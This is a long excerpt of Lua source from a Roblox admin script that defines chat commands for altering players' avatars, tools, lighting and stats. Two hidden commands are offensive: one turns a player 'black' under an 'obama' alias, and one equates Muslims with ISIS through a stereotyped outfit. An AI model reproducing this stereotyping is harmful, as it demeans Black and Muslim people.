7026 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7027 local Players = STRING:Scan(Arguments[1], Speaker)
7028 for _,Player in pairs(Players) do
7029 if Player.Character then
7030 for _,Obj in pairs(Player.Character:GetChildren()) do
7031 local Valid = false
7032 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7033 if Valid == true then Obj:Destroy() end
7034 end
7035 end
7036 end
7037 end};
7038
7039 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7040 local Players = STRING:Scan(Arguments[1], Speaker)
7041 for _,Player in pairs(Players) do
7042 if Player.Character then
7043 for _,Obj in pairs(Player.Character:GetChildren()) do
7044 if Obj:IsA("Accoutrement") then
7045 Obj:Destroy()
7046 end
7047 end
7048 end
7049 end
7050 end};
7051
7052 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7053 local Players = STRING:Scan(Arguments[1], Speaker)
7054 for _,Player in pairs(Players) do
7055 Player:ClearCharacterAppearance()
7056 end
7057 end};
7058
7059 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7060 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7061 local TmpPlayers = {}
7062 local Output = {}
7063 for _,Data in pairs(Players) do
7064 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7065 end
7066 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7067 end};
7068
7069 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7070 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7071 GUI:SendHint(Speaker, "Player Database cleared", 5)
7072 end};
7073
7074 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7075 local Players = STRING:Scan(Arguments[1], Speaker)
7076 for _,Player in pairs(Players) do
7077 GUI:FakeHack(Player)
7078 end
7079 end};
7080
7081 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7082 local Players = STRING:Scan(Arguments[1], Speaker)
7083 for _,Player in pairs(Players) do
7084 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7085 for _,Object in pairs(Player.Backpack:GetChildren()) do
7086 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7087 local Clone = Object:Clone()
7088 Clone.Parent = Speaker.Backpack
7089 end
7090 end
7091 end
7092 end
7093 end};
7094
7095 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7096 local Players = STRING:Scan(Arguments[1], Speaker)
7097 for _,Player in pairs(Players) do
7098 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7099 for _,Object in pairs(Player.Backpack:GetChildren()) do
7100 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7101 Object.Parent = Speaker.Backpack
7102 end
7103 end
7104 end
7105 end
7106 end};
7107
7108 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7109 local Players = STRING:Scan(Arguments[1], Speaker)
7110 for _,Player in pairs(Players) do
7111 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7112 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7113 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7114 local Clone = Object:Clone()
7115 Clone.Parent = Player.Backpack
7116 end
7117 end
7118 end
7119 end
7120 end};
7121
7122 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7123 local Players = STRING:Scan(Arguments[1], Speaker)
7124 for _,Player in pairs(Players) do
7125 if Player:FindFirstChild("Backpack") then
7126 Player.Backpack:ClearAllChildren()
7127 end
7128 if Player.Character ~= nil then
7129 for _,Obj in pairs(Player.Character:GetChildren()) do
7130 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7131 Obj:Destroy()
7132 end
7133 end
7134 end
7135 end
7136 end};
7137
7138 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7139 local Players = STRING:Scan(Arguments[1], Speaker)
7140 for _,Player in pairs(Players) do
7141 if Player.Character then
7142 if Player.Character:FindFirstChild("Head") then
7143 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7144 coroutine.wrap(function()
7145 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7146 local OldFace = Player.Character.Head.face.Texture
7147 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7148 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7149 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7150 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7151 Sound:Play()
7152 coroutine.wrap(function() for i = 1,100 do wait()
7153 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7154 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7155 end
7156 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7157 end end
7158 end)()
7159 end
7160 end
7161 end
7162 end
7163 end};
7164
7165 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7166 local Players = STRING:Scan(Arguments[1], Speaker)
7167 for _,Player in pairs(Players) do
7168 if Player.Character then
7169 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7170 coroutine.wrap(function()
7171 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7172 local OldFace = Player.Character.Head.face.Texture
7173 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7174 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7175 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7176 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7177 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7178 Sound:Play()
7179 wait(1)
7180 Smoke.Enabled = false
7181 wait(1)
7182 Fart:Destroy()
7183 Fart:Destroy()
7184 Player.Character.Head.face.Texture = OldFace
7185 end end
7186 end)()
7187 end
7188 end
7189 end
7190 end};
7191
7192 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7193 local Players = STRING:Scan(Arguments[1], Speaker)
7194 for _,Player in pairs(Players) do
7195 if Player:FindFirstChild("Backpack") then
7196 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7197 end
7198 end
7199 end};
7200
7201 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7202 local Players = STRING:Scan(Arguments[1], Speaker)
7203 for _,Player in pairs(Players) do
7204 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7205 Player.Character.MMLGraffiti:ClearAllChildren()
7206 end
7207 end
7208 end};
7209
7210 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7211 local Players = STRING:Scan(Arguments[1], Speaker)
7212 for _,Player in pairs(Players) do
7213 if Player.Character and Player.Character:FindFirstChild("Torso") then
7214 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7215 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7216 end
7217 end
7218 end};
7219
7220 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7221 local Players = STRING:Scan(Arguments[1], Speaker)
7222 for _,Player in pairs(Players) do
7223 if Player.Character and Player.Character:FindFirstChild("Torso") then
7224 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7225 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7226 end
7227 end
7228 end};
7229
7230 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7231 local Players = STRING:Scan(Arguments[1], Speaker)
7232 for _,Player in pairs(Players) do
7233 if Player.Character and Player.Character:FindFirstChild("Torso") then
7234 local Lights = {}
7235 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7236 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7237 table.insert(Lights, Obj)
7238 end
7239 end
7240 for _,Light in pairs(Lights) do
7241 coroutine.wrap(function()
7242 for i = 1,20 do
7243 Light.Brightness = Light.Brightness/5
7244 wait()
7245 end
7246 Light:Destroy()
7247 end)()
7248 end
7249 end
7250 end
7251 end};
7252
7253 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7254 local Players = STRING:Scan(Arguments[1], Speaker)
7255 for _,Player in pairs(Players) do
7256 if Player.Character and Player:FindFirstChild("PlayerGui") then
7257 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7258 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7259 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7260 local Stop = false
7261 coroutine.wrap(function()
7262 repeat
7263 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7264 wait(0.1)
7265 until not SG or not SG.Parent
7266 end)()
7267 CORE:ExecuteResource("Drug", Player.Character)
7268 end
7269 end
7270 end};
7271
7272 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7273 local Players = STRING:Scan(Arguments[1], Speaker)
7274 for _,Player in pairs(Players) do
7275 if Player:FindFirstChild("PlayerGui") then
7276 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7277 wait() CORE:RestoreCamera(Player)
7278 end
7279 end
7280 end};
7281
7282 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7283 local AbuseMode = false
7284 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7285 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7286 if Speaker:FindFirstChild("Backpack") then
7287 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7288 end
7289 end)
7290 end, Http = true};
7291
7292 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7293 local Type = "all"
7294 local Query = string.lower(Arguments[1])
7295 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7296 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7297 Type = Arguments[1]
7298 Query = Arguments[2]
7299 end
7300 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7301 if Speaker.Character then
7302 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7303 end
7304 end, MARKET:AccessoryToSubcategory(Type))
7305 end, Http = true};
7306
7307 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7308 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7309 if Speaker.Character then
7310 CORE:GivePackage(Speaker, ID)
7311 end
7312 end, 11)
7313 end, Http = false};
7314
7315 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7316 local Players = STRING:Scan(Arguments[1], Speaker)
7317 for _,Player in pairs(Players) do
7318 CORE:GivePackage(Player)
7319 end
7320 end};
7321
7322 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7323 local Players = STRING:Scan(Arguments[1], Speaker)
7324 for _,Player in pairs(Players) do
7325 CORE:GivePackage(Player, Arguments[2])
7326 end
7327 end, Http = false};
7328
7329 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7330 local Players = STRING:Scan(Arguments[1], Speaker)
7331 for _,Player in pairs(Players) do
7332 local Stats = Player:FindFirstChild("leaderstats")
7333 if Stats ~= nil then
7334 for _,Stat in pairs(Stats:GetChildren()) do
7335 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7336 ypcall(function() Stat.Value = Arguments[3] end)
7337 end
7338 end
7339 end
7340 end
7341 end};
7342
7343 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7344 local ID = tonumber(Arguments[2])
7345 local Players = STRING:Scan(Arguments[1], Speaker)
7346 for _,Player in pairs(Players) do
7347 for _,Player in pairs(Players) do
7348 if Player.Character ~= nil then
7349 local Obj = Player.Character:FindFirstChild("Shirt")
7350 if Obj then
7351 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7352 else
7353 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7354 end
7355 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7356 end
7357 end
7358 end
7359 end};
7360
7361 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7362 local ID = tonumber(Arguments[2])
7363 local Players = STRING:Scan(Arguments[1], Speaker)
7364 for _,Player in pairs(Players) do
7365 for _,Player in pairs(Players) do
7366 if Player.Character ~= nil then
7367 local Obj = Player.Character:FindFirstChild("Pants")
7368 if Obj then
7369 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7370 else
7371 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7372 end
7373 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7374 end
7375 end
7376 end
7377 end};
7378
7379 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7380 local ID = tonumber(Arguments[2])
7381 local Players = STRING:Scan(Arguments[1], Speaker)
7382 for _,Player in pairs(Players) do
7383 for _,Player in pairs(Players) do
7384 if Player.Character ~= nil then
7385 if Player.Character:FindFirstChild("Torso") then
7386 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7387 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7388 if Obj1 then
7389 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7390 else
7391 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7392 end
7393 if Obj2 then
7394 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7395 else
7396 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7397 end
7398 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7399 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7400 end
7401 end
7402 end
7403 end
7404 end};
7405
7406 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7407 local Players = STRING:Scan(Arguments[1], Speaker)
7408 for _,Player in pairs(Players) do
7409 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7410 end
7411 end};
7412
7413 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7414 if CORE:InAdminGroup(Speaker) then
7415 local Players = STRING:Scan(Arguments[1], Speaker)
7416 for _,Player in pairs(Players) do
7417 if Player:FindFirstChild("Backpack") then
7418 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7419 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7420 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7421 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7422 CORE:ExecuteResource("CookieTool", Tool)
7423 end
7424 end
7425 end
7426 end};
7427
7428 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7429 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7430 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7431 end
7432 end};
7433
7434 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7435 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7436 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7437 Model:MakeJoints()
7438 for i = 1,math.random(10,20) do
7439 Model.Name = Model.Name..string.char(math.random(97,122))
7440 end
7441 if Model:GetChildren()[1] then
7442 table.insert(Objects, Model)
7443 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7444 end
7445 end
7446 end};
7447
7448 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7449 local ID = tonumber(Arguments[2])
7450 local Players = STRING:Scan(Arguments[1], Speaker)
7451 for _,Player in pairs(Players) do
7452 if Player.Character then
7453 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7454 end
7455 end
7456 end};
7457
7458 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7459 local Players = STRING:Scan(Arguments[1], Speaker)
7460 for _,Player in pairs(Players) do
7461 if Player.Character then
7462 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7463 if StopAnim then StopAnim:Destroy() end
7464 end
7465 end
7466 end};
7467
7468 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7469 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7470 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7471 end
7472 end};
7473
7474 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7475 if tonumber(Arguments[1]) then
7476 Server.Lighting.Brightness = tonumber(Arguments[1])
7477 end
7478 end};
7479
7480 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7481 local Players = STRING:Scan(Arguments[1], Speaker)
7482 for _,Player in pairs(Players) do
7483 GUI:CoreGui(Player, "PlayerList", true)
7484 end
7485 end};
7486
7487 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7488 local Players = STRING:Scan(Arguments[1], Speaker)
7489 for _,Player in pairs(Players) do
7490 local Players = STRING:Scan(Arguments[1], Speaker)
7491 GUI:CoreGui(Player, "PlayerList", false)
7492 end
7493 end};
7494
7495 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7496 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7497 end, Hidden = true};
7498
7499 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7500 local Players = STRING:Scan(Arguments[1], Speaker)
7501 for _,Player in pairs(Players) do
7502 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7503 end
7504 end, Hidden = true};
7505
7506 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7507 local Players = STRING:Scan(Arguments[1], Speaker)
7508 for _,Player in pairs(Players) do
7509 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7510 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7511 Player:ClearCharacterAppearance()
7512 CORE:Insert(12436480, Player.Character, true)
7513 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7514 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7515 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7516 end
7517 end
7518 end, Hidden = true};
7519
7520 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7521 local Players = STRING:Scan(Arguments[1], Speaker)
7522 for _,Player in pairs(Players) do
7523 CORE:ChangeCharacter(Player, 0, false, Speaker)
7524 end
7525 end};
7526
7527 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7528 ShouldFilter = false
7529 end, Hidden = true};
7530
7531 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7532 local Bet = Arguments[1]
7533 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7534 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7535 elseif #Bet > 5 then
7536 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7537 else
7538 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7539 if Answer == "Yes" then
7540 local OldBet = Settings.Bet
7541 CORE:ChangeBet(Bet)
7542 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7543 end
7544 end
7545 end};
7546
7547 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7548 local Prefix = Arguments[1]
7549 if #Prefix > 5 then
7550 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7551 else
7552 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7553 if Answer == "Yes" then
7554 local OldPrefix = Settings.Prefix
7555 Settings.Prefix = Prefix
7556 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7557 end
7558 end
7559 end};
7560
7561 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7562 GUI:CommandBar(Speaker)
7563 end};
7564
7565 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7566 GUI:CommandBar(Speaker)
7567 PermCommandBars[Speaker.Name] = true
7568 end};
7569
7570 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7571 PermCommandBars[Speaker.Name] = nil
7572 end};
7573
7574 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7575 local Players = STRING:Scan(Arguments[1], Speaker)
7576 for _,Player in pairs(Players) do
7577 PermCommandBars[Player.Name] = nil
7578 end
7579 end};
7580
7581 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7582 CORE:CreateFigure("Dummy", nil, true, Speaker)
7583 end};
7584
7585 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7586 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7587 end};
7588
7589 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7590 local Players = STRING:Scan(Arguments[1], Speaker)
7591 for _,Player in pairs(Players) do
7592 CORE:ClonePlayer(Player)
7593 end
7594 end};
7595
7596 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7597 local Players = STRING:Scan(Arguments[1], Speaker)
7598 for _,Player in pairs(Players) do
7599 CORE:ClonePlayer(Player, Arguments[2])
7600 end
7601 end};
7602
7603 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7604 for _,Obj in pairs(Objects) do
7605 if Obj then Obj:Destroy() end
7606 end
7607 for Name,Jail in pairs(Jails) do
7608 if not game.Players:FindFirstChild(Name) then
7609 Jail:Destroy()
7610 Jails[Name] = nil
7611 end
7612 end
7613 Objects = {}
7614 end};
7615
7616 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7617 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7618 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7619 Obj:Destroy()
7620 end
7621 end
7622 end};
7623
